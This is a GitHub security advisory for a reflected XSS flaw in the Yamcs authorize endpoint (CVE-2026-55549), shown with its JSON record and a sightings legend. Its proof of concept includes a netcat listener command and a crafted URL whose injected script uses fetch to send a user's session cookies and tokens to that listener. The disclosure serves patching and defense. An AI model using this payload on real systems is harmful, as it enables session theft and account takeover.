GHSA-RXPG-WJF8-QV9C
Vulnerability from github – Published: 2026-08-28 17:17 – Updated: 2026-08-28 17:17Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
You then use JavaScript to obtain the user's cookies and display them in the alert:
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888
- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55549"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:17:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Attack type:\u202f\nUnauthenticated remote\u202f \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user\u0027s browser, including obtaining a user\u0027s session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs \u003c=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user\u0027s browser. This vulnerability can be exploited to exfiltrate a logged-in user\u0027s access token and send it to a remote server, leading to the takeover of the user\u0027s account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n\u003cimg width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" /\u003e\n\nYou then use JavaScript to obtain the user\u0027s cookies and display them in the alert:\n\n\u003cimg width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" /\u003e\n\nFinally, use the `fetch` function to send the user\u0027s cookies to a remote server which we controlled:\n\n\u003cimg width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" /\u003e\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web\u0026state=Lw\u0026response_mode=query\u0026response_type=code\u0026scope=openid\u0026redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"\u003e\u003cscript\u003efetch(`http://localhost:8888?c=${document.cookie}`)\u003c%2Fscript\u003eekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user\u0027s access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.",
"id": "GHSA-rxpg-wjf8-qv9c",
"modified": "2026-08-28T17:17:50Z",
"published": "2026-08-28T17:17:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Yamcs has Reflected XSS in the URL of the Authorize Endpoint"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.